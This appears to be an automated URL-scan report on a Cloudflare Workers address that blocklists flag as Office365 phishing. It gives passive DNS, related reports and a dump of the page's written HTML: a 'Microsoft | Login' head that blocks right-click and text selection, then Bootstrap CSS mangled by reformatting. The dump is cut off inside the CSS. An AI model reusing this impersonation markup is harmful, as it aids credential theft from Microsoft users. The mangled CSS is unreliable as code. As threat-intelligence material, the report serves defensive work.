Overview

URL office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
IP172.67.140.169
ASNCLOUDFLARENET
Location United States
Report completed2022-09-19 11:32:41 UTC
StatusLoading report..
urlquery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer


Intrusion Detection Systems

Suricata /w Emerging Threats Pro  No alerts detected


Blocklists

OpenPhish
Scan Date Severity Indicator Comment
2022-09-10 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz. (...) Office365
2022-09-10 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz. (...) Office365
PhishTank  No alerts detected
Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-09-19 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz. (...) Phishing
mnemonic secure dns  No alerts detected
Quad9 DNS  No alerts detected


Files

No files detected



Passive DNS (16)

Passive DNS Source Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
mnemonic passive DNS code.jquery.com (4) 634 2012-05-21 17:28:02 UTC 2022-09-19 04:32:36 UTC 69.16.175.42
mnemonic passive DNS use.fontawesome.com (2) 942 2017-01-30 04:43:25 UTC 2022-09-19 04:32:32 UTC 104.21.63.54
mnemonic passive DNS img-getpocket.cdn.mozilla.net (5) 1631 2017-09-01 03:40:57 UTC 2022-09-19 04:20:29 UTC 34.120.237.76
mnemonic passive DNS r3.o.lencr.org (3) 344 2020-12-02 08:52:13 UTC 2022-09-19 04:28:44 UTC 23.36.77.32
mnemonic passive DNS content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2022-09-19 04:39:15 UTC 143.204.55.35
mnemonic passive DNS contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-09-19 04:30:26 UTC 34.117.237.239
mnemonic passive DNS ocsp.pki.goog (4) 175 2017-06-14 07:23:31 UTC 2022-09-19 04:27:19 UTC 142.250.74.3
mnemonic passive DNS i.gyazo.com (1) 72426 2014-03-14 09:33:51 UTC 2022-09-19 01:41:09 UTC 172.64.151.252
mnemonic passive DNS fonts.googleapis.com (1) 8877 2014-07-21 13:19:55 UTC 2022-09-19 09:08:48 UTC 142.250.74.42
mnemonic passive DNS office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev (2) 0 2022-06-30 18:37:18 UTC 2022-09-18 12:58:20 UTC 172.67.140.169 Unknown ranking
mnemonic passive DNS ajax.googleapis.com (1) 12905 2019-10-15 17:52:08 UTC 2022-09-19 10:59:38 UTC 142.250.74.42
mnemonic passive DNS ocsp.digicert.com (3) 86 2012-05-21 07:02:23 UTC 2022-09-19 07:42:24 UTC 93.184.220.29
mnemonic passive DNS maxcdn.bootstrapcdn.com (1) 724 2014-06-18 00:37:31 UTC 2022-09-19 08:06:21 UTC 104.18.11.207
mnemonic passive DNS firefox.settings.services.mozilla.com (1) 867 2020-05-27 20:08:30 UTC 2022-09-19 06:53:21 UTC 143.204.55.36
mnemonic passive DNS cdnjs.cloudflare.com (1) 235 2020-10-20 10:17:36 UTC 2022-09-19 05:20:10 UTC 104.17.24.14
mnemonic passive DNS push.services.mozilla.com (1) 2140 2015-09-03 10:29:36 UTC 2022-09-19 04:39:15 UTC 54.191.222.112


Recent reports on same IP/ASN/Domain/Screenshot

Last 3 reports on IP: 172.67.140.169

Date UQ / IDS / BL URL IP
2022-10-10 10:34:18 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-09-19 11:32:41 +0000
0 - 0 - 3 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-09-11 10:26:41 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169

Last 5 reports on ASN: CLOUDFLARENET

Date UQ / IDS / BL URL IP
2022-12-09 05:46:03 +0000
0 - 0 - 5 en.y2mate.is/125/ 104.21.4.123
2022-12-09 05:45:25 +0000
0 - 0 - 1 cba-helpcentre.info/a1b2c3/324c33da4626df49cf (...) 172.67.158.130
2022-12-09 05:39:53 +0000
0 - 0 - 1 www.assistan.beauty/denominators-Landis/24c4v (...) 172.67.196.17
2022-12-09 05:39:34 +0000
0 - 0 - 1 mizalandz.click/?shop=cbced78fe8cfd3439d95296 (...) 172.67.199.166
2022-12-09 05:39:32 +0000
0 - 0 - 2 www.assistan.beauty/1f14w2395r8_Q613Q23c21XF4 (...) 172.67.196.17

Last 5 reports on domain: abcsenderz.workers.dev

Date UQ / IDS / BL URL IP
2022-10-10 10:34:18 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-10-06 02:59:12 +0000
0 - 0 - 3 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 104.21.65.50
2022-09-25 22:06:18 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 104.21.65.50
2022-09-19 11:32:41 +0000
0 - 0 - 3 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-09-11 10:26:41 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169

Last 5 reports with similar screenshot

Date UQ / IDS / BL URL IP
2022-11-28 07:12:27 +0000
0 - 0 - 2 officesc739fc24499a54ef81e2243e9d60c97fc739fc (...) 172.67.189.147
2022-11-04 00:25:42 +0000
0 - 0 - 1 officec3a969746798b93e2eaa69ec365ddea3c3a9697 (...) 104.21.79.35
2022-11-03 15:34:40 +0000
0 - 0 - 1 officec3a969746798b93e2eaa69ec365ddea3c3a9697 (...) 104.21.79.35
2022-10-10 10:34:18 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-10-06 02:59:12 +0000
0 - 0 - 3 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 104.21.65.50


JavaScript

Executed Scripts (11)


Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 233396, repeated: 1) - SHA256: 09d02a4f724c9e6b714d7295caa17e159a19d326494012bffda8e7d91d53feef

                                        < !doctype html >
    < html lang = "en" >
    < html oncontextmenu = "return false"
onselectstart = "return false"
ondragstart = "return false" >
    < html lang = "en" >
    < head >
    < script type = "text/javascript"
src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.1.1.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.3.1.js"
integrity = "sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
crossorigin = "anonymous" > < /script>
    <!-- Required meta tags -->
    < meta charset = "utf-8" >
    < meta name = "viewport"
content = "width=device-width, initial-scale=1, shrink-to-fit=no" >
    <!-- Bootstrap CSS -->
    < link href = "https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap"
rel = "stylesheet" >
    < link rel = "stylesheet"
href = "https://use.fontawesome.com/releases/v5.7.0/css/all.css"
integrity = "sha384-lZN37f5QGtY3VHgisS14W3ExzMWZxybE1SJSEsQp9S+oqd12jhcu+A56Ebc1zFSJ"
crossorigin = "anonymous" >
    < title > Microsoft | Login < /title> < style type = "text/css" >
    /*!
     * Bootstrap v4.0.0 (https://getbootstrap.com)
     * Copyright 2011-2018 The Bootstrap Authors
     * Copyright 2011-2018 Twitter, Inc.
     * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
     */
    : root {
        --blue: #007bff;
      --indigo: # 6610 f2;
        --purple: #6f42c1;
      --pink: # e83e8c;
        --red: # dc3545;
        --orange: # fd7e14;
        --yellow: # ffc107;
        --green: #28a745;
      --teal: # 20 c997;
        --cyan: #17a2b8;
      --white: # fff;
        --gray: #6c757d;
      --gray-dark: # 343 a40;
        --primary: #007bff;
      --secondary: # 6 c757d;
        --success: #28a745;
      --info: # 17 a2b8;
        --warning: # ffc107;
        --danger: # dc3545;
        --light: # f8f9fa;
        --dark: #343a40;
      --breakpoint-xs: 0;
      --breakpoint-sm: 576px;
      --breakpoint-md: 768px;
      --breakpoint-lg: 992px;
      --breakpoint-xl: 1200px;
      --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
      --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    *,
    ::after,
    ::before {
      box-sizing: border-box
    }

    html {
      font-family: sans-serif;
      line-height: 1.15;
      -webkit-text-size-adjust: 100%;
      -ms-text-size-adjust: 100%;
      -ms-overflow-style: scrollbar;
      -webkit-tap-highlight-color: transparent
    }

    @-ms-viewport {
      width: device-width
    }

    article,
    aside,
    dialog,
    figcaption,
    figure,
    footer,
    header,
    hgroup,
    main,
    nav,
    section {
      display: block
    }

    body {
      margin: 0;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
      font-size: 1rem;
      font-weight: 400;
      line-height: 1.5;
      color: # 212529;
        text - align: left;
        background - color: # fff
    }

[tabindex = "-1"]: focus {
    outline: 0!important
}

hr {
    box - sizing: content - box;
    height: 0;
    overflow: visible
}

h1,
h2,
h3,
h4,
h5,
h6 {
    margin - top: 0;
    margin - bottom: .5 rem
}

p {
    margin - top: 0;
    margin - bottom: 1 rem
}

abbr[data - original - title],
    abbr[title] {
        text - decoration: underline; - webkit - text - decoration: underline dotted;
        text - decoration: underline dotted;
        cursor: help;
        border - bottom: 0
    }

address {
    margin - bottom: 1 rem;
    font - style: normal;
    line - height: inherit
}

dl,
ol,
ul {
    margin - top: 0;
    margin - bottom: 1 rem
}

ol ol,
ol ul,
ul ol,
ul ul {
    margin - bottom: 0
}

dt {
    font - weight: 700
}

dd {
    margin - bottom: .5 rem;
    margin - left: 0
}

blockquote {
    margin: 0 0 1 rem
}

dfn {
    font - style: italic
}

b,
strong {
    font - weight: bolder
}

small {
    font - size: 80 %
}

sub,
sup {
    position: relative;
    font - size: 75 % ;
    line - height: 0;
    vertical - align: baseline
}

sub {
    bottom: -.25e m
}

sup {
    top: -.5e m
}

a {
    color: #007bff;
      text-decoration: none;
      background-color: transparent;
      -webkit-text-decoration-skip: objects
    }

    a:hover {
      color: # 0056 b3;
    text - decoration: underline
}

a: not([href]): not([tabindex]) {
    color: inherit;
    text - decoration: none
}

a: not([href]): not([tabindex]): focus,
    a: not([href]): not([tabindex]): hover {
        color: inherit;
        text - decoration: none
    }

a: not([href]): not([tabindex]): focus {
    outline: 0
}

code,
kbd,
pre,
samp {
    font - family: monospace, monospace;
    font - size: 1e m
}

pre {
    margin - top: 0;
    margin - bottom: 1 rem;
    overflow: auto; - ms - overflow - style: scrollbar
}

figure {
    margin: 0 0 1 rem
}

img {
    vertical - align: middle;
    border - style: none
}

svg: not(: root) {
    overflow: hidden
}

table {
    border - collapse: collapse
}

caption {
    padding - top: .75 rem;
    padding - bottom: .75 rem;
    color: #6c757d;
      text-align: left;
      caption-side: bottom
    }

    th {
      text-align: inherit
    }

    label {
      display: inline-block;
      margin-bottom: .5rem
    }

    button {
      border-radius: 0
    }

    button:focus {
      outline: 1px dotted;
      outline: 5px auto -webkit-focus-ring-color
    }

    button,
    input,
    optgroup,
    select,
    textarea {
      margin: 0;
      font-family: inherit;
      font-size: inherit;
      line-height: inherit
    }

    button,
    input {
      overflow: visible
    }

    button,
    select {
      text-transform: none
    }

    [type= reset], [type = submit],
button,
html[type = button] {
    -webkit - appearance: button
}

[type = button]::-moz - focus - inner, [type = reset]::-moz - focus - inner, [type = submit]::-moz - focus - inner,
    button::-moz - focus - inner {
        padding: 0;
        border - style: none
    }

input[type = checkbox],
    input[type = radio] {
        box - sizing: border - box;
        padding: 0
    }

input[type = date],
    input[type = datetime - local],
    input[type = month],
    input[type = time] {
        -webkit - appearance: listbox
    }

textarea {
    overflow: auto;
    resize: vertical
}

fieldset {
    min - width: 0;
    padding: 0;
    margin: 0;
    border: 0
}

legend {
    display: block;
    width: 100 % ;
    max - width: 100 % ;
    padding: 0;
    margin - bottom: .5 rem;
    font - size: 1.5 rem;
    line - height: inherit;
    color: inherit;
    white - space: normal
}

progress {
    vertical - align: baseline
}

[type = number]::-webkit - inner - spin - button, [type = number]::-webkit - outer - spin - button {
    height: auto
}

[type = search] {
    outline - offset: -2 px; - webkit - appearance: none
}

[type = search]::-webkit - search - cancel - button, [type = search]::-webkit - search - decoration {
    -webkit - appearance: none
}

::-webkit - file - upload - button {
    font: inherit; - webkit - appearance: button
}

output {
    display: inline - block
}

summary {
    display: list - item;
    cursor: pointer
}

template {
    display: none
}

[hidden] {
    display: none!important
}

.h1,
.h2,
.h3,
.h4,
.h5,
.h6,
h1,
h2,
h3,
h4,
h5,
h6 {
    margin - bottom: .5 rem;
    font - family: inherit;
    font - weight: 500;
    line - height: 1.2;
    color: inherit
}

.h1,
h1 {
    font - size: 2.5 rem
}

.h2,
h2 {
    font - size: 2 rem
}

.h3,
h3 {
    font - size: 1.75 rem
}

.h4,
h4 {
    font - size: 1.5 rem
}

.h5,
h5 {
    font - size: 1.25 rem
}

.h6,
h6 {
    font - size: 1 rem
}

.lead {
    font - size: 1.25 rem;
    font - weight: 300
}

.display - 1 {
    font - size: 6 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 2 {
    font - size: 5.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 3 {
    font - size: 4.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 4 {
    font - size: 3.5 rem;
    font - weight: 300;
    line - height: 1.2
}

hr {
    margin - top: 1 rem;
    margin - bottom: 1 rem;
    border: 0;
    border - top: 1 px solid rgba(0, 0, 0, .1)
}

.small,
small {
    font - size: 80 % ;
    font - weight: 400
}

.mark,
mark {
    padding: .2e m;
    background - color: # fcf8e3
}

.list - unstyled {
    padding - left: 0;
    list - style: none
}

.list - inline {
    padding - left: 0;
    list - style: none
}

.list - inline - item {
    display: inline - block
}

.list - inline - item: not(: last - child) {
    margin - right: .5 rem
}

.initialism {
    font - size: 90 % ;
    text - transform: uppercase
}

.blockquote {
    margin - bottom: 1 rem;
    font - size: 1.25 rem
}

.blockquote - footer {
    display: block;
    font - size: 80 % ;
    color: #6c757d
    }

    .blockquote-footer::before {
      content: "\2014 \00A0"
    }

    .img-fluid {
      max-width: 40%;
      height: auto
    }

    .img-thumbnail {
      padding: .25rem;
      background-color: # fff;
    border: 1 px solid # dee2e6;
    border - radius: .25 rem;
    max - width: 100 % ;
    height: auto
}

.figure {
    display: inline - block
}

.figure - img {
    margin - bottom: .5 rem;
    line - height: 1
}

.figure - caption {
    font - size: 90 % ;
    color: #6c757d
    }

    code,
    kbd,
    pre,
    samp {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    code {
      font-size: 87.5%;
      color: # e83e8c;
    word -
        break: break -word
}

a > code {
    color: inherit
}

kbd {
    padding: .2 rem.4 rem;
    font - size: 87.5 % ;
    color: # fff;
    background - color: #212529;
      border-radius: .2rem
    }

    kbd kbd {
      padding: 0;
      font-size: 100%;
      font-weight: 700
    }

    pre {
      display: block;
      font-size: 87.5%;
      color: # 212529
}

pre code {
    font - size: inherit;
    color: inherit;
    word -
        break: normal
}

.pre - scrollable {
    max - height: 340 px;
    overflow - y: scroll
}

.container {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

@
media(min - width: 576 px) {
    .container {
        max - width: 540 px
    }
}

@
media(min - width: 768 px) {
    .container {
        max - width: 720 px
    }
}

@
media(min - width: 992 px) {
    .container {
        max - width: 960 px
    }
}

@
media(min - width: 1200 px) {
    .container {
        max - width: 1140 px
    }
}

.container - fluid {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

.row {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    margin - right: -15 px;
    margin - left: -15 px
}

.no - gutters {
    margin - right: 0;
    margin - left: 0
}

.no - gutters > .col,
    .no - gutters > [class *= col - ] {
        padding - right: 0;
        padding - left: 0
    }

.col,
.col - 1,
    .col - 10,
    .col - 11,
    .col - 12,
    .col - 2,
    .col - 3,
    .col - 4,
    .col - 5,
    .col - 6,
    .col - 7,
    .col - 8,
    .col - 9,
    .col - auto,
    .col - lg,
    .col - lg - 1,
    .col - lg - 10,
    .col - lg - 11,
    .col - lg - 12,
    .col - lg - 2,
    .col - lg - 3,
    .col - lg - 4,
    .col - lg - 5,
    .col - lg - 6,
    .col - lg - 7,
    .col - lg - 8,
    .col - lg - 9,
    .col - lg - auto,
    .col - md,
    .col - md - 1,
    .col - md - 10,
    .col - md - 11,
    .col - md - 12,
    .col - md - 2,
    .col - md - 3,
    .col - md - 4,
    .col - md - 5,
    .col - md - 6,
    .col - md - 7,
    .col - md - 8,
    .col - md - 9,
    .col - md - auto,
    .col - sm,
    .col - sm - 1,
    .col - sm - 10,
    .col - sm - 11,
    .col - sm - 12,
    .col - sm - 2,
    .col - sm - 3,
    .col - sm - 4,
    .col - sm - 5,
    .col - sm - 6,
    .col - sm - 7,
    .col - sm - 8,
    .col - sm - 9,
    .col - sm - auto,
    .col - xl,
    .col - xl - 1,
    .col - xl - 10,
    .col - xl - 11,
    .col - xl - 12,
    .col - xl - 2,
    .col - xl - 3,
    .col - xl - 4,
    .col - xl - 5,
    .col - xl - 6,
    .col - xl - 7,
    .col - xl - 8,
    .col - xl - 9,
    .col - xl - auto {
        position: relative;
        width: 100 % ;
        min - height: 1 px;
        padding - right: 15 px;
        padding - left: 15 px
    }

.col {
    -ms - flex - preferred - size: 0;
    flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
    flex - grow: 1;
    max - width: 100 %
}

.col - auto {
    -webkit - box - flex: 0; - ms - flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max - width: none
}

.col - 1 {
    -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
    flex: 0 0 8.333333 % ;
    max - width: 8.333333 %
}

.col - 2 {
    -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
    flex: 0 0 16.666667 % ;
    max - width: 16.666667 %
}

.col - 3 {
    -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
    flex: 0 0 25 % ;
    max - width: 25 %
}

.col - 4 {
    -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
    flex: 0 0 33.333333 % ;
    max - width: 33.333333 %
}

.col - 5 {
    -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
    flex: 0 0 41.666667 % ;
    max - width: 41.666667 %
}

.col - 6 {
    -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
    flex: 0 0 50 % ;
    max - width: 50 %
}

.col - 7 {
    -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
    flex: 0 0 58.333333 % ;
    max - width: 58.333333 %
}

.col - 8 {
    -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
    flex: 0 0 66.666667 % ;
    max - width: 66.666667 %
}

.col - 9 {
    -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
    flex: 0 0 75 % ;
    max - width: 75 %
}

.col - 10 {
    -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
    flex: 0 0 83.333333 % ;
    max - width: 83.333333 %
}

.col - 11 {
    -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
    flex: 0 0 91.666667 % ;
    max - width: 91.666667 %
}

.col - 12 {
    -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
    flex: 0 0 100 % ;
    max - width: 100 %
}

.order - first {
    -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
    order: -1
}

.order - last {
    -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
    order: 13
}

.order - 0 {
    -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
    order: 0
}

.order - 1 {
    -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
    order: 1
}

.order - 2 {
    -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
    order: 2
}

.order - 3 {
    -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
    order: 3
}

.order - 4 {
    -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
    order: 4
}

.order - 5 {
    -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
    order: 5
}

.order - 6 {
    -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
    order: 6
}

.order - 7 {
    -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
    order: 7
}

.order - 8 {
    -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
    order: 8
}

.order - 9 {
    -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
    order: 9
}

.order - 10 {
    -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
    order: 10
}

.order - 11 {
    -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
    order: 11
}

.order - 12 {
    -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
    order: 12
}

.offset - 1 {
    margin - left: 8.333333 %
}

.offset - 2 {
    margin - left: 16.666667 %
}

.offset - 3 {
    margin - left: 25 %
}

.offset - 4 {
    margin - left: 33.333333 %
}

.offset - 5 {
    margin - left: 41.666667 %
}

.offset - 6 {
    margin - left: 50 %
}

.offset - 7 {
    margin - left: 58.333333 %
}

.offset - 8 {
    margin - left: 66.666667 %
}

.offset - 9 {
    margin - left: 75 %
}

.offset - 10 {
    margin - left: 83.333333 %
}

.offset - 11 {
    margin - left: 91.666667 %
}

@
media(min - width: 576 px) {
    .col - sm {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - sm - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - sm - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - sm - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - sm - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - sm - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - sm - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - sm - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - sm - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - sm - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - sm - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - sm - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - sm - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - sm - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - sm - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - sm - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - sm - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - sm - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - sm - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - sm - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - sm - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - sm - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - sm - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - sm - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - sm - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - sm - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - sm - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - sm - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - sm - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - sm - 0 {
        margin - left: 0
    }

    .offset - sm - 1 {
        margin - left: 8.333333 %
    }

    .offset - sm - 2 {
        margin - left: 16.666667 %
    }

    .offset - sm - 3 {
        margin - left: 25 %
    }

    .offset - sm - 4 {
        margin - left: 33.333333 %
    }

    .offset - sm - 5 {
        margin - left: 41.666667 %
    }

    .offset - sm - 6 {
        margin - left: 50 %
    }

    .offset - sm - 7 {
        margin - left: 58.333333 %
    }

    .offset - sm - 8 {
        margin - left: 66.666667 %
    }

    .offset - sm - 9 {
        margin - left: 75 %
    }

    .offset - sm - 10 {
        margin - left: 83.333333 %
    }

    .offset - sm - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 768 px) {
    .col - md {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - md - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - md - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - md - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - md - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - md - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - md - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - md - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - md - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - md - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - md - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - md - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - md - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - md - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - md - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - md - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - md - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - md - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - md - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - md - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - md - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - md - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - md - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - md - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - md - 8 {
